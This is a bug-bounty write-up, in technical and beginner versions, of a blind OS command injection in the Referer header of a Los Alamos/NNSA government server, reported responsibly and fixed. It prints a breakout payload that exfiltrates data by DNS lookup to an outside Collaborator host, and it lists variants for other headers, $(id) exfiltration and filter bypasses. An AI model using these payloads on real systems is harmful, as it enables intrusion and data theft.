Hacking into (RCE) Government Server operated for the US Department of Energy’s National Nuclear Security Administration.
A blind OS command injection vulnerability was found in the Referer header of a government web server, allowing an attacker to execute arbitrary commands. The attacker could exfiltrate data such as the hostname via DNS queries.
Published on medium.com
I had always been determined to make a name for myself in the field of cyber security. I had already uncovered vulnerabilities in giants like Google and Microsoft, earning my place in their hall of fame.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a server operated for the US Department of Energy's National Nuclear Security Administration, reached through a .gov site belonging to Los Alamos National Laboratory (LANL). The researcher describes LANL as the birthplace of the atomic bomb and a site known for top-secret research. The feature involved was a CGI directory: a Common Gateway Interface location, which lets a web server execute an external program. The URL the researcher opened served a research paper on nuclear radiation and used a parameter to call the document. That parameter is what drew attention, and it is the surface where the injection was eventually found.
The write-up deliberately concentrates on process rather than technical detail, and the author states that most of the information is kept confidential. Endpoints, parameter names and the server's real hostname are therefore not published here.
Setup
The work started with OSINT, specifically Google Dorking: advanced Google search operators used to surface sensitive information on the internet. To automate the collection, the researcher used a custom tool, url-scraper, to scan for .gov site URLs and gather them into a file for later scanning. After hours of searching, a link to lanl.gov came up.
For testing, the researcher used Burp Suite. The workflow was: basic scans first, which came up empty, then a high-level scan, which took longer and found the issue. A Burp Collaborator domain was used to receive out-of-band callbacks, and the server IP was returned alongside the first callback.
No accounts, roles or version numbers are given in the report.
Finding it
After modifying the dork to dig deeper into lanl.gov, the researcher came across a CGI directory. Because CGI lets the web server execute an external program, the directory looked worth investigating. Opening the link returned a research paper on nuclear radiation. The content itself was not the point: the URL used an interesting parameter to call the document, and that parameter was the thing that looked wrong.
With Burp Suite, the basic scans returned nothing. The high-level scan eventually reported a Blind OS Command Injection on the Referer header. In this class of bug, the value of the Referer header is passed into an OS command on the server, so an attacker who controls that header can have commands executed remotely. Because the result is blind, the output is not returned in the response; confirmation comes from an out-of-band interaction.
Exploitation
Step 1: Confirm the injection with an out-of-band lookup
The researcher modified the request and sent it again. The server responded on the Burp Collaborator domain, together with the server IP.
Referer: https://redacted/&'\"`0&nslookup -q=cname [redacted].oastify.com.&`’’
The payload closes out of the surrounding shell context with the quote and backtick characters, then runs nslookup -q=cname against a unique Collaborator subdomain. The DNS lookup is the observable effect: if the server resolves the name, the Collaborator receives the interaction, which proves command execution even though nothing appears in the HTTP response.
Step 2: Report, and hit a filter
The vulnerability was reported to the Department of Energy Responsible Disclosure Program. A day later the team replied that they could not reproduce it and asked whether the researcher could extract data from the server. On checking the report again, the researcher found that the command had been filtered by the original report form, so the payload the team received was not the payload that had worked.
Step 3: Shorten the payload and exfiltrate the hostname
A shorter payload was prepared and sent through the report message. This time data was also exfiltrated from the server as proof, going beyond an IP address. The researcher limited this to the hostname, on the stated principle of not leaking sensitive information. The hostname turned out to be named after the extinct species Megalodon.
The change is the command substitution $(hostname) placed in front of the Collaborator subdomain. The shell expands it before the lookup, so the DNS query itself carries the hostname to the Collaborator, which is how the value is read back. The researcher credits the technique to the PortSwigger material on OS command injection.
Step 4: Reproduction and triage
With the updated report, the agent was able to reproduce the issue and triaged it, replying:
“Thank you for your submission, we’ve determined this to be valid.
The client will now address this for a fix. Once it is fixed, we will follow-up with you for your verification that the vulnerability is no longer active. When it is confirmed, and with your permission, we’ll add your name to the acknowledgments page.”
A few days later the issue was fixed and the researcher's name was added to the Responsible Disclosure Acknowledgements Page of the US Department of Energy.
Timeline
| Date | Event |
|---|---|
| December 23, 2022 | Vulnerability reported |
| December 28, 2022 | Triaged |
| January 8, 2023 | Fixed |
| January 9, 2023 | Acknowledged |
Root cause
The report does not show the server-side code. What it establishes is that the value of the Referer header reached an OS command executed by the CGI program, without being neutralised. The URL used a parameter to call the document, which drew the researcher's attention; the injection itself was found in the Referer header. The report does not show the server-side code, so the exact cause is not established. The basic scans came up empty; the high-level scan found the issue.
Impact
The researcher demonstrated command execution on a government server operated for the National Nuclear Security Administration, limited to a DNS lookup and reading the hostname. In the researcher's demonstration the commands were limited to a DNS lookup and reading the hostname, deliberately, to avoid leaking sensitive information. The bug is blind: results come back out of band rather than in the HTTP response, which raises the bar for an attacker but does not reduce the underlying capability.
Fix
The report says only that the client addressed the issue and that it was fixed by January 8, 2023, with the researcher's name added to the acknowledgements page the following day. The general remedy for this class of bug is to stop building shell command strings from request data: avoid invoking a shell, pass values as separate arguments, and validate or allowlist anything that must be used.
Variants to test
- Other headers that reach the same CGI program: try the same quote and backtick breakout in headers such as User-Agent and X-Forwarded-For. A positive result is a DNS or HTTP interaction on your Collaborator domain.
- Other parameters on the document-calling URL: apply the same payload to each parameter that appears to select or fetch a file. A positive result is a callback carrying your unique subdomain.
- Command substitution for data exfiltration: where a plain lookup works, try
$(hostname)or$(id)in front of the Collaborator subdomain. A positive result is the value appearing as a label in the DNS query you receive. - Filter bypasses: if a report form or WAF strips characters, shorten the payload and vary the quoting and separators. A positive result is the same out-of-band interaction with the reduced payload.
- Blind timing as a fallback: where out-of-band DNS is blocked, use a sleep-style command and measure response delay. A positive result is a consistent, repeatable delay tied to your payload.
What happened, in plain words
A security researcher found a way to make a government web server run commands of his choosing. The server belonged to an organisation that operates for the US Department of Energy's National Nuclear Security Administration, and he reached it through a .gov website belonging to Los Alamos National Laboratory (LANL). The researcher describes LANL as the birthplace of the atomic bomb and a place known for top-secret research.
The bug was in a part of the site that serves documents. The address of the document contained a value that the server used to decide which file to fetch. A request header called the Referer ended up being passed into a command that the server's operating system ran. By putting special characters and a command into the Referer header, the researcher could make the server run his command. This kind of bug is called OS command injection, and because the server never showed the result in its reply, it is called blind.
He reported it, the first report could not be reproduced because the report form had filtered out part of his payload, he sent a shorter payload that also carried the server's hostname back to him, the team confirmed and fixed the issue, and his name went on the Department of Energy's acknowledgements page.
This walkthrough explains every step from zero. You only need to be able to use a browser and a computer to follow it. The report itself keeps most technical details confidential, so endpoint names, parameter names and the real hostname are not published.
Background: the words you need first
Before the steps, a few ideas. Each one is explained again where it first matters, but here is the short version.
- A web server is a computer that answers requests from browsers. When you type an address, your browser sends a request, and the server sends back a page, a file or an error.
- A URL (the address in the bar) can carry extra values after a
?, called parameters. Think of a restaurant order: the dish is the page, and the parameters are the choices ("no onions", "extra sauce"). The server reads those choices to decide what to send. - A request header is a small labelled line your browser adds to every request, such as which site you came from. Headers are like the notes on the outside of an envelope: the letter is the request, the notes tell the recipient extra things.
- The Referer header (yes, spelled that way in the protocol) tells the server which page you were on before you clicked the link. It is normally harmless information.
- CGI stands for Common Gateway Interface. It is an old but still used way for a web server to hand a request to a separate program and let that program produce the answer. Think of a receptionist who, instead of answering your question, walks it to a specialist in the back office and brings back the reply.
- The operating system (OS) is the software that runs the machine (Linux, Windows and so on). It has a shell, a text interface where you type commands. A command like
nslookupasks a DNS server to look up a name. - DNS is the internet's phone book: it turns names like
example.cominto addresses. A DNS lookup is a question sent to that phone book. - OS command injection means tricking a program into running extra operating system commands that the programmer never intended.
- Remote Code Execution (RCE) is the result: an attacker somewhere else on the internet gets code or commands to run on the target machine.
- Blind means you cannot see the output of your command in the server's reply. You have to find another way to observe that it ran, for example by making the server contact a machine you control.
- Out-of-band means exactly that: the proof arrives through a different channel than the normal response.
- Burp Suite is a tool security testers use to sit between their browser and the server, look at requests, change them and resend them. Burp Collaborator is a service that gives you a unique domain name and tells you when anything on the internet contacts it. If your payload makes the target server look up your unique name, Collaborator records the hit, which proves the server ran your command.
- OSINT means open-source intelligence: gathering information from publicly available sources. Google Dorking is using advanced Google search operators to find things that were not meant to be easy to find.
Chapter 1: The Hunt

The image shows the research vessel setting out, as the report's own caption puts it, with high hopes of discovering new species in the deep sea. It is the story's way of saying: this is the start of the search, before anything has been found.
The researcher began with OSINT, specifically Google Dorking. Google Dorking means typing special search operators into Google to surface pages and files that ordinary searches hide. A simple comparison: a library has a public shelf and a back room. A normal search looks at the shelf; a dork is a clever question that makes the catalogue reveal what is in the back room.
To automate the collection, he used a custom tool he wrote, called url-scraper, to scan for .gov site URLs and gather them into a file for later scanning. Why a file? Because you want a list you can work through systematically rather than clicking around by hand. Think of it as writing down every house on a street before knocking on doors.
After hours of searching, a link to lanl.gov came up. That is the Los Alamos National Laboratory site. The report describes the laboratory as well known for research on the atomic bomb and other top-secret projects, and as the birthplace of the atomic bomb.
Chapter 2: Into the Depths

The image shows the moment the crew notices strange disturbances and a massive shadow, the report's caption says, and realises something large is following them. In the story this is the point where the search turns into a real target.
He modified his dork to dig deeper into lanl.gov and came across a CGI directory. As explained above, CGI lets a web server execute an external program. That is why the directory looked worth investigating: a place where the server runs programs is a place where input might reach a program.
Opening the link returned a research paper on nuclear radiation. The content was not the point. The URL used an interesting parameter to call the document, and that parameter is what drew his attention. In plain terms: the address looked like it was telling the server "fetch this document for me", and anything that tells a server to fetch something is worth a closer look, because the server has to act on your input.
He opened Burp Suite and started with basic scans. They came up empty. He then ran a high-level scan, which took longer, and it reported a Blind OS Command Injection on the Referer header.
What does that mean in everyday terms? Imagine a form at an office where you write "I came from the marketing department" on a slip. A careless clerk takes your slip and reads it out loud to the person in the back, word for word, as an instruction. If you write "I came from marketing, and also please fetch me the confidential file", the clerk reads that too. The Referer header is the slip, and the CGI program is the careless clerk: it took the header's value and put it into an operating system command.
Because the result is blind, the server does not show the command's output in its reply. Confirmation has to come from somewhere else: an out-of-band interaction, meaning the server contacts a machine the researcher controls.
Step 1: Confirm the injection with an out-of-band lookup
He modified the request and sent it again. The server responded on the Burp Collaborator domain, together with the server IP.
Referer: https://redacted/&'\"`0&nslookup -q=cname [redacted].oastify.com.&`’’
Line by line, in plain words:
Referer:is the header name. Everything after the colon is the value the browser (or Burp) sends. The server is supposed to treat this as "the page I came from".https://redacted/is a placeholder for the original address. The report hides the real one, so we cannot see it. What matters is that the value starts like a normal URL, so it looks innocent at first glance.&is a shell character that means "and then run the next command". In a shell,command1 & command2runs the first in the background and then the second. Here it is used to break out of whatever the program was doing and start a new command.'\"and the backtick`are quoting characters. In a shell, quotes and backticks change how text is grouped and can start a command substitution (running a command and inserting its output). The payload uses them to close whatever quoting the original command had, so the following text is treated as a fresh command rather than as part of the original one.0is just a character placed after the backtick. It is part of the breakout sequence; the report does not explain it further.nslookup -q=cname [redacted].oastify.com.is the actual command.nslookupasks a DNS server to look up a name.-q=cnameasks specifically for a CNAME record, a type of DNS entry that points one name to another. The long random-looking name is a unique subdomain on the Collaborator service (oastify.comis the Collaborator domain). Because it is unique to this researcher, any lookup of it can only have come from his payload.&again separates this command from what follows.- The trailing backtick and quotes close the breakout started earlier, so the whole thing fits back into the original command's syntax.
Why this step? Because the injection is blind. You cannot see the output, so you make the server perform an action you can observe from outside: a DNS lookup of a name only you know. If the lookup happens, the Collaborator records it, and that proves the server ran your command. The server IP came back alongside the first callback, which is extra confirmation of which machine answered.
Chapter 3: The Megalodon

The image shows the crew about to meet the most terrifying creature, the megalodon, as the caption says. In the story this is the big reveal; in the report it is the moment the server's hostname is discovered.
He reported the vulnerability to the Department of Energy Responsible Disclosure Program. A responsible disclosure program is an official channel for telling an organisation about a security problem so it can be fixed, instead of exploiting it. Think of it as a lost-and-found desk for security bugs.
A day later the team replied that they could not reproduce the vulnerability and asked whether he could extract data from the server. Reproduce means: follow the same steps and see the same result. If they cannot reproduce it, they cannot confirm it is real.
He checked his report again and found that his command had been filtered by the original report form. A report form is a web page with text boxes; many such forms strip or block certain characters to prevent abuse. So the payload the team received was not the payload that had worked. This is a very common beginner trap: the thing you send through a form is not always the thing that arrives.
He prepared a shorter payload and sent it through the report message. This time he was also able to exfiltrate some data from the server as proof, going beyond an IP address. Exfiltrate means to get data out of a system. He limited this to the hostname, on the stated principle of not leaking sensitive information. The hostname turned out to be named after the extinct species Megalodon, which he found a cool server name.
Line by line, in plain words:
- The structure is the same as before: the
Referer:header, the placeholderhttps://redacted/, the breakout characters&'\"and backtick, the0, then a command, then&and the closing backtick and quotes. - The new part is
$(hostname). In a shell,$(...)means command substitution: run what is inside the brackets and put its output in place of the brackets.hostnameis a command that prints the machine's name. So the shell first works out the machine's name, then builds the DNS name from it. .[redacted].oastify.com.is another unique Collaborator subdomain. The hostname gets glued in front of it, so the full name being looked up is something likemegalodon.[redacted].oastify.com.- The rest is the same closing sequence as before.
Why this step? Because the team asked for proof beyond an IP address. A DNS lookup carries the name being looked up to the DNS server, and the Collaborator records that name. By putting the hostname into the name, the hostname itself travels to the Collaborator, and the researcher can read it back. That is how a blind bug becomes a data leak: the data rides out on the lookup. The researcher credits the technique to the PortSwigger material on OS command injection.
Chapter 4: A Safe Harbour

The image shows the crew diverting the megalodon back into the wild and reaching a secluded bay, the caption says, a safe harbour for the research vessel. In the report this is the resolution: the bug is fixed and the researcher is acknowledged.
With the updated report, the agent was able to reproduce the issue and triaged it. Triage is the step where the receiving team confirms the report is valid and assigns it for fixing. The agent replied:
“Thank you for your submission, we’ve determined this to be valid.
The client will now address this for a fix. Once it is fixed, we will follow-up with you for your verification that the vulnerability is no longer active. When it is confirmed, and with your permission, we’ll add your name to the acknowledgments page.”
A few days later the issue was fixed and his name was added to the Responsible Disclosure Acknowledgements Page of the US Department of Energy. An acknowledgements page is a public thank-you list of people who reported bugs responsibly.
Timeline
| Date | Event |
|---|---|
| December 23, 2022 | Vulnerability reported |
| December 28, 2022 | Triaged |
| January 8, 2023 | Fixed |
| January 9, 2023 | Acknowledged |
Why the bug existed
The report does not show the server-side code. What it establishes is that the value of the Referer header reached an operating system command run by the CGI program, without being neutralised. The URL used a parameter to call the document, which drew the researcher's attention; the injection was in the Referer header.
The likely cause, in plain words: the program built a command string by gluing together pieces of text, one of which came from the user. Imagine a recipe that says "fetch the file named [whatever the customer wrote]". If the customer writes "cake, and also open the safe", the cook follows both instructions. The safe way is to keep the customer's text as a separate item that can never be read as an instruction, or to check it against a list of allowed values.
What an attacker could have done
The researcher demonstrated command execution on a government server operated for the National Nuclear Security Administration, limited to a DNS lookup and reading the hostname. In the researcher's demonstration the commands were limited to a DNS lookup and reading the hostname, deliberately, to avoid leaking sensitive information.
The bug is blind: results come back out of band rather than in the HTTP response. That makes it harder to use, because you have to build a channel to see anything, but it does not reduce the underlying capability.
How it was fixed
The report says only that the client addressed the issue and that it was fixed by January 8, 2023, with the researcher's name added to the acknowledgements page the following day.
The general remedy for this class of bug is to stop building shell command strings from request data: avoid invoking a shell, pass values as separate arguments, and validate or allowlist anything that must be used. In the recipe comparison: never read the customer's note as an instruction; treat it as a single ingredient name and check it against the list of ingredients you actually have.
Other places to look
These are the variants the technical write-up suggests testing. Each one is a way to check whether the same mistake exists elsewhere. A positive result means you see the interaction on your own Collaborator domain.
- Other headers that reach the same CGI program. Try the same quote and backtick breakout in headers such as
User-AgentandX-Forwarded-For. TheUser-Agentheader tells the server which browser you use;X-Forwarded-Foris often used to pass along the original client address through proxies. Both are user-controlled text, so both can carry a payload. A positive result is a DNS or HTTP interaction on your Collaborator domain. - Other parameters on the document-calling URL. Apply the same payload to each parameter that appears to select or fetch a file. If one parameter is unsafe, its neighbours often are too. A positive result is a callback carrying your unique subdomain.
- Command substitution for data exfiltration. Where a plain lookup works, try
$(hostname)or$(id)in front of the Collaborator subdomain.idprints the current user and group. A positive result is the value appearing as a label in the DNS query you receive. - Filter bypasses. If a report form or a WAF (web application firewall, a filter that inspects traffic and blocks suspicious patterns) strips characters, shorten the payload and vary the quoting and separators. This is exactly what happened in this report when the form filtered the first payload. A positive result is the same out-of-band interaction with the reduced payload.
- Blind timing as a fallback. Where out-of-band DNS is blocked, use a sleep-style command and measure the response delay. A sleep command makes the server wait; if the reply comes back consistently later when your payload is present, the command ran. A positive result is a consistent, repeatable delay tied to your payload.
Glossary
- API: a defined way for one piece of software to ask another for something, like a menu of requests a program accepts.
- Blind (vulnerability): a bug where you cannot see the result in the server's reply, so you must observe it another way.
- Burp Collaborator: a service that gives you a unique domain and records when anything contacts it, used to prove a blind bug.
- Burp Suite: a tool for intercepting, inspecting and modifying web requests between your browser and a server.
- CGI (Common Gateway Interface): a way for a web server to run an external program to produce a response.
- Command substitution: shell syntax
$(...)that runs a command and inserts its output into the surrounding text. - CNAME record: a DNS entry that points one name to another name.
- DNS: the internet's name-to-address lookup system, the phone book of the internet.
- Exfiltration: getting data out of a system, often through a side channel.
- Google Dorking: using advanced Google search operators to find information that ordinary searches hide.
- Header (HTTP): a labelled line in a request or response carrying extra information, such as the Referer or User-Agent.
- Hostname: the name a machine is known by on a network.
- OS (operating system): the software that runs a computer and its programs.
- OSINT: open-source intelligence, information gathered from public sources.
- Out-of-band: proof or data that arrives through a different channel than the normal response.
- Parameter (URL): an extra value in a URL after
?, used to tell the server what you want. - RCE (Remote Code Execution): running your own commands or code on a remote machine.
- Referer header: a request header saying which page you came from.
- Reproduce: follow the same steps and get the same result.
- Responsible disclosure: reporting a security bug privately to the organisation so it can be fixed.
- Shell: the text interface of an operating system where commands are typed and run.
- Triage: the step where a receiving team confirms a report is valid and assigns it for fixing.
- URL: the address of a resource on the web.
- User-Agent header: a request header saying which browser and system you use.
- WAF (web application firewall): a filter that inspects web traffic and blocks suspicious patterns.
- X-Forwarded-For header: a request header often used to pass along the original client address through proxies.